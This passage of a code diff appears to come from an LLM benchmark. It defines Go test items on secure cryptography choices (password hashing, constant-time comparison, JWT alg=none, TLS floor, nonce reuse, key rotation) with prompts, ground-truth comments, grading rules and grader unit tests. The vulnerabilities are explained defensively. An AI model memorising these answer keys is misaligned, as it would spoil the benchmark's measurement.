{name: "correct with spacing", response: `{ "line": 4 }`, want: 1},
|
||||
{name: "wrong line: username param", response: `{"line":2}`, want: 0},
|
||||
{name: "wrong line: signature comment", response: `{"line":1}`, want: 0},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecCSRFRequirementTest_Eval(t *testing.T) {
|
||||
tc := secCSRFRequirementTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{name: "correct bare", response: "no", want: 1},
|
||||
{name: "correct with period", response: "No.", want: 1},
|
||||
{name: "correct quoted", response: `'no'`, want: 1},
|
||||
{name: "wrong bare", response: "yes", want: 0},
|
||||
{name: "wrong with sentence", response: "Yes, it needs CSRF protection.", want: 0},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecRateLimitPlacementTest_Eval(t *testing.T) {
|
||||
tc := secRateLimitPlacementTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{name: "correct", response: `{"stage":"before-auth-check","key":"ip-and-account"}`, want: 1},
|
||||
{name: "correct fenced with prose", response: "```json\n{\"stage\":\"before-auth-check\",\"key\":\"ip-and-account\"}\n```", want: 1},
|
||||
{name: "correct with spacing", response: `{ "stage": "before-auth-check", "key": "ip-and-account" }`, want: 1},
|
||||
{name: "wrong stage", response: `{"stage":"after-auth-check","key":"ip-and-account"}`, want: 0.5},
|
||||
{name: "wrong key", response: `{"stage":"before-auth-check","key":"ip-only"}`, want: 0.5},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecInputValidationBoundaryTest_Eval(t *testing.T) {
|
||||
tc := secInputValidationBoundaryTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{
|
||||
name: "correct: negative and cap phrasing",
|
||||
response: "Reject quantity <= 0 (negative or zero) and cap it at a sane maximum to avoid overflow.",
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "correct: greater-than-zero and upper-bound phrasing",
|
||||
response: "Quantity must be greater than zero, and there must be an upper bound to prevent an excessively large value.",
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "correct: isn't-negative and maximum phrasing",
|
||||
response: "Check that quantity isn't negative and add a maximum limit on it.",
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "wrong: no boundary checks named",
|
||||
response: "Just make sure quantity is an integer.",
|
||||
want: 0,
|
||||
},
|
||||
{
|
||||
name: "wrong: only lower bound named",
|
||||
response: "Reject negative quantities.",
|
||||
want: 0.5,
|
||||
},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecSecretLogSpotTest_Eval(t *testing.T) {
|
||||
tc := secSecretLogSpotTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{name: "correct", response: `{"line":3}`, want: 1},
|
||||
{name: "correct fenced with prose", response: "```json\n{\"line\":3}\n```", want: 1},
|
||||
{name: "correct with spacing", response: `{ "line": 3 }`, want: 1},
|
||||
{name: "wrong line: header read", response: `{"line":2}`, want: 0},
|
||||
{name: "wrong line: charge call", response: `{"line":4}`, want: 0},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,366 @@
|
||||
package tests
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
|
||||
"github.com/lukaszraczylo/llm-testbench/internal/eval"
|
||||
"github.com/lukaszraczylo/llm-testbench/internal/testkit"
|
||||
)
|
||||
|
||||
func registerSecurityCryptoTests(r *testkit.Registry) {
|
||||
r.Register(secPasswordHashChoiceTest())
|
||||
r.Register(secConstantTimeCompareTest())
|
||||
r.Register(secJWTAlgNoneTest())
|
||||
r.Register(secTLSFloorVersionTest())
|
||||
r.Register(secAESGCMNonceReuseTest())
|
||||
r.Register(secRandSourceChoiceTest())
|
||||
r.Register(secRotateOrderTest())
|
||||
r.Register(secHMACVsSignatureTest())
|
||||
r.Register(secCertChainValidationTest())
|
||||
r.Register(secHashVsEncryptPIITest())
|
||||
}
|
||||
|
||||
// secWeakPasswordHashPattern matches a mention of a fast, general-purpose
|
||||
// hash (MD5, plain SHA-1/256/512) - the ones that must never be used
|
||||
// directly for password storage because they lack a tunable work factor.
|
||||
var secWeakPasswordHashPattern = regexp.MustCompile(`(?i)\b(md5|sha-?1|sha-?256|sha-?512)\b`)
|
||||
|
||||
// secPasswordHashChoiceTest: recommend bcrypt/argon2 for password storage
|
||||
// while not being penalized for correctly warning against SHA/MD5.
|
||||
//
|
||||
// ground truth: bcrypt and argon2(id) are deliberately slow, tunable-cost
|
||||
// password hashing functions designed to resist brute force even after a
|
||||
// database leak. MD5 and plain SHA-1/256/512 are fast, general-purpose
|
||||
// hashes with no work factor - an attacker with GPUs can try billions of
|
||||
// candidates per second against a leaked SHA-256 hash - so they must never
|
||||
// be used to store passwords directly, even though a good answer will
|
||||
// still name them by way of warning against them.
|
||||
func secPasswordHashChoiceTest() testkit.Test {
|
||||
prompt := `Design password storage for a new signup endpoint. Which
|
||||
hashing approach should be used to store user passwords at rest, and which
|
||||
common hash functions must never be used for this specific purpose?`
|
||||
|
||||
evaluator := eval.Mean(
|
||||
eval.ContainsAny("bcrypt", "argon2"),
|
||||
secNoUnnegatedMention(secWeakPasswordHashPattern),
|
||||
)
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-password-hash-choice",
|
||||
Category: "security",
|
||||
Subcategory: "crypto",
|
||||
Description: "Recommend bcrypt/argon2 for password storage without being penalized for correctly warning against SHA/MD5.",
|
||||
Prompt: prompt,
|
||||
Eval: evaluator,
|
||||
}
|
||||
}
|
||||
|
||||
// secConstantTimeCompareTest: name the timing-attack defect in comparing an
|
||||
// HMAC signature with == and the constant-time API that fixes it.
|
||||
//
|
||||
// ground truth: Go's == (and bytes.Equal) on two byte slices compares
|
||||
// byte-by-byte and returns as soon as it finds a difference, so the time
|
||||
// the comparison takes leaks how many leading bytes matched. An attacker
|
||||
// who can measure response timing can recover the correct signature one
|
||||
// byte at a time. The fix is a constant-time comparison: hmac.Equal
|
||||
// (crypto/hmac) or subtle.ConstantTimeCompare (crypto/subtle), both of
|
||||
// which always examine every byte regardless of where a mismatch occurs.
|
||||
func secConstantTimeCompareTest() testkit.Test {
|
||||
prompt := `A webhook handler recomputes an HMAC-SHA256 signature for an
|
||||
incoming payload and compares it to the value of the X-Signature header
|
||||
using Go's == operator on the two byte slices.
|
||||
|
||||
Name the security defect this introduces, and the correct Go API to use
|
||||
instead of ==.`
|
||||
|
||||
evaluator := eval.Mean(
|
||||
eval.ContainsAny("timing attack", "timing side channel", "time-based", "constant-time", "constant time"),
|
||||
eval.ContainsAny("hmac.equal", "subtle.constanttimecompare", "constanttimecompare"),
|
||||
)
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-constant-time-compare",
|
||||
Category: "security",
|
||||
Subcategory: "crypto",
|
||||
Description: "Name the timing-attack defect in comparing an HMAC signature with == and require hmac.Equal/subtle.ConstantTimeCompare.",
|
||||
Prompt: prompt,
|
||||
Eval: evaluator,
|
||||
}
|
||||
}
|
||||
|
||||
// secJWTAlgNoneTest: name the alg=none bypass and the allowlist-based fix.
|
||||
//
|
||||
// ground truth: a verifier that reads alg from the token's own header and
|
||||
// skips verification whenever it is "none" lets an attacker forge any
|
||||
// token by setting alg to none and stripping the signature entirely -
|
||||
// nothing about the forged token's own claim of its algorithm should ever
|
||||
// be trusted. The fix is to hardcode/allowlist the algorithm(s) the server
|
||||
// expects and reject anything else, including "none", rather than letting
|
||||
// the token pick its own verification mode.
|
||||
func secJWTAlgNoneTest() testkit.Test {
|
||||
prompt := `A JWT verification function decodes the token's header, reads
|
||||
the alg field, and if alg is "none" it skips signature verification
|
||||
entirely and trusts the claims as-is; for any other alg value it verifies
|
||||
using the server's fixed HMAC secret.
|
||||
|
||||
What is the name of this vulnerability class, and what is the correct fix?
|
||||
Respond with only a JSON object:
|
||||
{"vuln":"<one of: alg-none-bypass, algorithm-confusion, weak-secret>","fix":"<one of: reject-alg-none, use-rs256, rotate-secret>"}`
|
||||
|
||||
evaluator := eval.Mean(
|
||||
eval.JSONField("vuln", "alg-none-bypass"),
|
||||
eval.JSONField("fix", "reject-alg-none"),
|
||||
)
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-jwt-alg-none",
|
||||
Category: "security",
|
||||
Subcategory: "crypto",
|
||||
Description: "Name the alg=none JWT verification bypass and require rejecting/allowlisting rather than trusting the token's own alg claim.",
|
||||
Prompt: prompt,
|
||||
Eval: evaluator,
|
||||
}
|
||||
}
|
||||
|
||||
// secTLSFloorPattern requires the digits 1.2 as a standalone version
|
||||
// number, tolerant of a leading "TLS"/"TLSv" and surrounding punctuation.
|
||||
const secTLSFloorPattern = `\b1\.2\b`
|
||||
|
||||
// secTLSFloorVersionTest: name the minimum TLS protocol version that
|
||||
// excludes SSLv3/TLS 1.0/1.1 while remaining broadly compatible.
|
||||
//
|
||||
// ground truth: TLS 1.2 is the standard modern floor (NIST SP 800-52r2,
|
||||
// PCI-DSS) that excludes the broken older protocols while remaining
|
||||
// compatible with the wide range of still-supported clients that a
|
||||
// TLS-1.3-only floor would reject.
|
||||
func secTLSFloorVersionTest() testkit.Test {
|
||||
prompt := `A public-facing HTTPS API must reject legacy, broken TLS
|
||||
versions (SSLv3, TLS 1.0, TLS 1.1) while remaining compatible with the wide
|
||||
range of still-supported modern clients (i.e. not requiring the newest
|
||||
protocol version only).
|
||||
|
||||
What is the minimum TLS protocol version the server should be configured
|
||||
to accept? Respond with only the version number, e.g. 1.2.`
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-tls-floor-version",
|
||||
Category: "security",
|
||||
Subcategory: "crypto",
|
||||
Description: "Name TLS 1.2 as the minimum floor that excludes SSLv3/TLS 1.0/1.1 while staying broadly compatible.",
|
||||
Prompt: prompt,
|
||||
Eval: eval.Regex(secTLSFloorPattern),
|
||||
}
|
||||
}
|
||||
|
||||
// secAESGCMNonceReuseTest: name the consequence of reusing an AES-GCM
|
||||
// nonce and the fresh-random-nonce fix.
|
||||
//
|
||||
// ground truth: reusing a (key, nonce) pair with AES-GCM is catastrophic,
|
||||
// not just risky: two ciphertexts under the same key/nonce let an attacker
|
||||
// XOR out the keystream and recover plaintext, and worse, GCM's
|
||||
// authentication tag reuses the same hash subkey, letting an attacker
|
||||
// derive it and forge new ciphertexts that still pass authentication. The
|
||||
// fix is to generate a fresh, cryptographically random nonce for every
|
||||
// encryption under a given key and never reuse a (key, nonce) pair.
|
||||
func secAESGCMNonceReuseTest() testkit.Test {
|
||||
prompt := `A service encrypts each payload with AES-256-GCM but reuses
|
||||
the SAME 12-byte nonce for every encryption call under one key, to simplify
|
||||
the API.
|
||||
|
||||
What is the concrete security consequence of reusing a GCM nonce with the
|
||||
same key, and what is the fix?`
|
||||
|
||||
evaluator := eval.Mean(
|
||||
eval.ContainsAny("forge", "forgery", "authentication", "keystream", "xor", "plaintext recovery", "break confidentiality"),
|
||||
eval.ContainsAny("random nonce", "unique nonce", "fresh nonce", "never reuse", "crypto/rand"),
|
||||
)
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-aes-gcm-nonce-reuse",
|
||||
Category: "security",
|
||||
Subcategory: "crypto",
|
||||
Description: "Name the confidentiality/authentication break from AES-GCM nonce reuse and require a fresh random nonce per encryption.",
|
||||
Prompt: prompt,
|
||||
Eval: evaluator,
|
||||
}
|
||||
}
|
||||
|
||||
// secMathRandPattern matches a mention of Go's non-cryptographic math/rand
|
||||
// package.
|
||||
var secMathRandPattern = regexp.MustCompile(`(?i)\bmath/rand\b`)
|
||||
|
||||
// secRandSourceChoiceTest: require crypto/rand for a security token while
|
||||
// not being penalized for correctly naming math/rand as unsuitable.
|
||||
//
|
||||
// ground truth: math/rand is a deterministic PRNG seeded (by default) from
|
||||
// a predictable source; an attacker who can observe outputs or guess the
|
||||
// seed can predict or brute-force future tokens generated from it, which
|
||||
// is fatal for a password-reset token that grants account takeover.
|
||||
// crypto/rand is seeded from the OS's CSPRNG and is the correct package for
|
||||
// any security-sensitive token, key, or nonce.
|
||||
func secRandSourceChoiceTest() testkit.Test {
|
||||
prompt := `A function generates a password-reset token by calling
|
||||
math/rand to produce 32 random bytes, then hex-encodes them for the reset
|
||||
link.
|
||||
|
||||
Which Go standard-library package should be used instead of math/rand for
|
||||
this purpose, and confirm: math/rand must never be used to generate a
|
||||
security-sensitive token like this one. Explain the one concrete risk of
|
||||
the current approach.`
|
||||
|
||||
evaluator := eval.Mean(
|
||||
eval.ContainsAny("crypto/rand"),
|
||||
secNoUnnegatedMention(secMathRandPattern),
|
||||
)
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-rand-source-choice",
|
||||
Category: "security",
|
||||
Subcategory: "crypto",
|
||||
Description: "Require crypto/rand for a security token without being penalized for correctly naming math/rand as unsuitable.",
|
||||
Prompt: prompt,
|
||||
Eval: evaluator,
|
||||
}
|
||||
}
|
||||
|
||||
// secRotateOrderWant is the single defensible ordering for
|
||||
// secRotateOrderTest.
|
||||
//
|
||||
// ground truth: the old signing key must stay accepted for verification
|
||||
// while the new key is introduced, or every token still in flight signed
|
||||
// under the old key fails verification the instant the rotation starts.
|
||||
// So: (1) add the new key to the accepted-for-verification set alongside
|
||||
// the old one, (2) switch signing to the new key (already-issued old-key
|
||||
// tokens still verify, since the old key remains accepted), (3) wait until
|
||||
// every old-key token's TTL has elapsed, and only then (4) remove the old
|
||||
// key from the verification set. Removing the old key any earlier breaks
|
||||
// still-valid tokens that were signed under it.
|
||||
var secRotateOrderWant = []string{
|
||||
"add-new-key-to-verify-set",
|
||||
"start-signing-with-new-key",
|
||||
"wait-for-old-tokens-to-expire",
|
||||
"remove-old-key-from-verify-set",
|
||||
}
|
||||
|
||||
func secRotateOrderTest() testkit.Test {
|
||||
prompt := `A signing key used to verify already-issued tokens must be
|
||||
rotated to a new key. The rotation must never invalidate a token that was
|
||||
issued under the old key and is still within its validity window, and it
|
||||
must never allow a window where a still-valid token fails verification.
|
||||
|
||||
Order these 4 steps correctly:
|
||||
["add-new-key-to-verify-set", "start-signing-with-new-key",
|
||||
"wait-for-old-tokens-to-expire", "remove-old-key-from-verify-set"]
|
||||
|
||||
Respond with only a JSON array containing all 4 step ids in the correct
|
||||
order.`
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-rotate-order",
|
||||
Category: "security",
|
||||
Subcategory: "crypto",
|
||||
Description: "Order a zero-downtime signing-key rotation: add new key, switch signing, wait out old tokens, then remove the old key.",
|
||||
Prompt: prompt,
|
||||
Eval: eval.JSONStringArrayEquals(secRotateOrderWant),
|
||||
}
|
||||
}
|
||||
|
||||
// secHMACVsSignatureTest: choose asymmetric signing over shared-secret HMAC
|
||||
// for cross-organization webhook verification.
|
||||
//
|
||||
// ground truth: HMAC requires both parties to hold the identical shared
|
||||
// secret, which means either side could also forge a message as if it were
|
||||
// the other (no non-repudiation), and the secret must be securely
|
||||
// distributed between two separate organizations in the first place. An
|
||||
// asymmetric signature scheme is built for exactly this: the signer keeps
|
||||
// a private key, and any number of verifiers only ever need the signer's
|
||||
// public key, which never needs to be kept secret from anyone.
|
||||
func secHMACVsSignatureTest() testkit.Test {
|
||||
prompt := `Two services, operated by DIFFERENT organizations, need to
|
||||
exchange signed webhooks. Each side must be able to verify authenticity,
|
||||
and neither side should ever need to possess the other side's private
|
||||
signing material.
|
||||
|
||||
Should they use a shared-secret HMAC or an asymmetric signature scheme
|
||||
(e.g. RSA or Ed25519)? Respond with only one word: hmac or asymmetric.`
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-hmac-vs-signature",
|
||||
Category: "security",
|
||||
Subcategory: "crypto",
|
||||
Description: "Choose asymmetric signing over shared-secret HMAC for cross-organization webhook verification.",
|
||||
Prompt: prompt,
|
||||
Eval: secExactAnswer("asymmetric"),
|
||||
}
|
||||
}
|
||||
|
||||
// secManInTheMiddlePattern accepts the standard term for the attack with
|
||||
// or without hyphens/spaces between the words.
|
||||
const secManInTheMiddlePattern = `(?i)man[\s-]?in[\s-]?the[\s-]?middle`
|
||||
|
||||
// secCertChainValidationTest: name man-in-the-middle as the attack exposed
|
||||
// by skipping certificate-chain verification.
|
||||
//
|
||||
// ground truth: skipping chain-of-trust verification (e.g.
|
||||
// InsecureSkipVerify: true) means the client accepts ANY certificate the
|
||||
// server presents, including a self-signed one generated on the fly by an
|
||||
// attacker sitting between the client and the real server. That attacker
|
||||
// can then decrypt, read, and re-encrypt traffic in both directions - the
|
||||
// textbook definition of a man-in-the-middle attack.
|
||||
func secCertChainValidationTest() testkit.Test {
|
||||
prompt := `A TLS client connects to an HTTPS API and skips verifying
|
||||
that the presented certificate chains up to a trusted root CA (e.g. Go's
|
||||
InsecureSkipVerify: true).
|
||||
|
||||
What specific, standard-named attack does this expose the client to?
|
||||
Respond with only the name of the attack.`
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-cert-chain-validation",
|
||||
Category: "security",
|
||||
Subcategory: "crypto",
|
||||
Description: "Name man-in-the-middle as the attack exposed by skipping TLS certificate-chain verification.",
|
||||
Prompt: prompt,
|
||||
Eval: eval.Regex(secManInTheMiddlePattern),
|
||||
}
|
||||
}
|
||||
|
||||
// secHashVsEncryptPIITest: choose one-way hashing for a password and
|
||||
// reversible encryption for a bank account number, based on whether the
|
||||
// original value must ever be recovered.
|
||||
//
|
||||
// ground truth: a password only ever needs an equality check ("does this
|
||||
// input match what was stored"), never recovery of the original value, so
|
||||
// a one-way hash (bcrypt/argon2) is correct - and reversible encryption
|
||||
// would be strictly worse, since a leaked key would make the plaintext
|
||||
// password recoverable. A bank account number legitimately needs to be
|
||||
// recovered and displayed later (e.g. for a support agent confirming the
|
||||
// last 4 digits, or settlement), which a one-way hash makes impossible by
|
||||
// design, so it must be reversibly encrypted at rest instead.
|
||||
func secHashVsEncryptPIITest() testkit.Test {
|
||||
prompt := `Two fields need to be stored securely:
|
||||
|
||||
field_a: a user's login password. It only ever needs to be checked for a
|
||||
match against a future login attempt; the original value never needs to be
|
||||
displayed or recovered.
|
||||
field_b: a bank account number. A support agent must be able to view the
|
||||
original value later, with proper authorization, to help a customer.
|
||||
|
||||
For each field, should the stored value be a one-way hash or a reversibly
|
||||
decryptable encryption? Respond with only a JSON object:
|
||||
{"field_a":"<hash|encrypt>","field_b":"<hash|encrypt>"}`
|
||||
|
||||
evaluator := eval.Mean(
|
||||
eval.JSONField("field_a", "hash"),
|
||||
eval.JSONField("field_b", "encrypt"),
|
||||
)
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-hash-vs-encrypt-pii",
|
||||
Category: "security",
|
||||
Subcategory: "crypto",
|
||||
Description: "Choose one-way hashing for a password versus reversible encryption for a bank account number that must later be recovered.",
|
||||
Prompt: prompt,
|
||||
Eval: evaluator,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,346 @@
|
||||
package tests
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSecPasswordHashChoiceTest_Eval(t *testing.T) {
|
||||
tc := secPasswordHashChoiceTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{
|
||||
name: "correct: bcrypt, negated MD5/SHA-256",
|
||||
response: "Use bcrypt (cost >= 12) to hash passwords. Never use plain MD5 or SHA-256 for password storage.",
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "correct: argon2id, negated SHA-1/MD5",
|
||||
response: "argon2id is the right choice here; avoid SHA-1/MD5, they are far too fast for password hashing.",
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "correct: bcrypt, negated SHA-256 after the term",
|
||||
response: "bcrypt is fine. Don't use SHA-256 alone, it lacks a work factor.",
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "wrong: recommends SHA-256 unnegated",
|
||||
response: "Just hash the password with SHA-256 before storing it.",
|
||||
want: 0,
|
||||
},
|
||||
{
|
||||
name: "wrong: recommends MD5 unnegated",
|
||||
response: "Store passwords hashed with MD5 for speed.",
|
||||
want: 0,
|
||||
},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecConstantTimeCompareTest_Eval(t *testing.T) {
|
||||
tc := secConstantTimeCompareTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{
|
||||
name: "correct: timing attack, hmac.Equal",
|
||||
response: "This is vulnerable to a timing attack; use hmac.Equal instead of ==.",
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "correct: timing side channel, subtle.ConstantTimeCompare",
|
||||
response: "That's a timing side channel. Use subtle.ConstantTimeCompare to fix it.",
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "correct: constant-time phrasing, ConstantTimeCompare",
|
||||
response: "Comparing with == leaks timing information (constant-time is required). Use crypto/subtle's ConstantTimeCompare function.",
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "wrong: claims == is fine",
|
||||
response: "This looks fine, == works for byte slice comparison.",
|
||||
want: 0,
|
||||
},
|
||||
{
|
||||
name: "wrong: bytes.Equal is still not constant-time",
|
||||
response: "Use bytes.Equal instead of ==.",
|
||||
want: 0,
|
||||
},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecJWTAlgNoneTest_Eval(t *testing.T) {
|
||||
tc := secJWTAlgNoneTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{name: "correct", response: `{"vuln":"alg-none-bypass","fix":"reject-alg-none"}`, want: 1},
|
||||
{name: "correct fenced with prose", response: "```json\n{\"vuln\":\"alg-none-bypass\",\"fix\":\"reject-alg-none\"}\n```", want: 1},
|
||||
{name: "correct with spacing", response: `{ "vuln": "alg-none-bypass", "fix": "reject-alg-none" }`, want: 1},
|
||||
{name: "wrong vuln", response: `{"vuln":"algorithm-confusion","fix":"reject-alg-none"}`, want: 0.5},
|
||||
{name: "wrong fix", response: `{"vuln":"alg-none-bypass","fix":"use-rs256"}`, want: 0.5},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecTLSFloorVersionTest_Eval(t *testing.T) {
|
||||
tc := secTLSFloorVersionTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{name: "correct bare", response: "1.2", want: 1},
|
||||
{name: "correct with TLS prefix", response: "TLS 1.2", want: 1},
|
||||
{name: "correct in a sentence", response: "The minimum should be 1.2.", want: 1},
|
||||
{name: "wrong: TLS 1.3", response: "1.3", want: 0},
|
||||
{name: "wrong: TLS 1.0", response: "1.0", want: 0},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecAESGCMNonceReuseTest_Eval(t *testing.T) {
|
||||
tc := secAESGCMNonceReuseTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{
|
||||
name: "correct: forge, random nonce",
|
||||
response: "This lets an attacker forge ciphertexts because the authentication tag's key material repeats; use a fresh random nonce per encryption.",
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "correct: authentication/forgery, unique nonce",
|
||||
response: "It breaks GCM's authentication guarantee, allowing forgery. Generate a unique nonce for every encryption call.",
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "correct: keystream, never reuse plus crypto/rand",
|
||||
response: "An attacker can recover the plaintext via keystream reuse. Never reuse a nonce; use crypto/rand to generate one each time.",
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "wrong: claims reuse is fine",
|
||||
response: "This is fine as long as the key is secret.",
|
||||
want: 0,
|
||||
},
|
||||
{
|
||||
name: "wrong: irrelevant fix suggested",
|
||||
response: "Just use a bigger nonce size.",
|
||||
want: 0,
|
||||
},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecRandSourceChoiceTest_Eval(t *testing.T) {
|
||||
tc := secRandSourceChoiceTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{
|
||||
name: "correct: crypto/rand, negated math/rand after the term",
|
||||
response: "Use crypto/rand instead; math/rand must never be used for a security token like this.",
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "correct: crypto/rand, negated math/rand before the term",
|
||||
response: "crypto/rand is correct here. Avoid math/rand - it's a deterministic PRNG predictable by an attacker.",
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "correct: crypto/rand, math/rand not suitable phrasing",
|
||||
response: "Switch to crypto/rand. math/rand is not suitable for security-sensitive tokens since it's predictable.",
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "wrong: endorses math/rand unnegated",
|
||||
response: "math/rand works well for this use case.",
|
||||
want: 0,
|
||||
},
|
||||
{
|
||||
name: "wrong: endorses math/rand as good enough",
|
||||
response: "math/rand is good enough for a reset token.",
|
||||
want: 0,
|
||||
},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecRotateOrderTest_Eval(t *testing.T) {
|
||||
tc := secRotateOrderTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{
|
||||
name: "correct order",
|
||||
response: `["add-new-key-to-verify-set","start-signing-with-new-key","wait-for-old-tokens-to-expire","remove-old-key-from-verify-set"]`,
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "correct order fenced with prose",
|
||||
response: "Here is the order:\n```json\n[\"add-new-key-to-verify-set\",\"start-signing-with-new-key\",\"wait-for-old-tokens-to-expire\",\"remove-old-key-from-verify-set\"]\n```",
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "correct order different case",
|
||||
response: `["Add-New-Key-To-Verify-Set","Start-Signing-With-New-Key","Wait-For-Old-Tokens-To-Expire","Remove-Old-Key-From-Verify-Set"]`,
|
||||
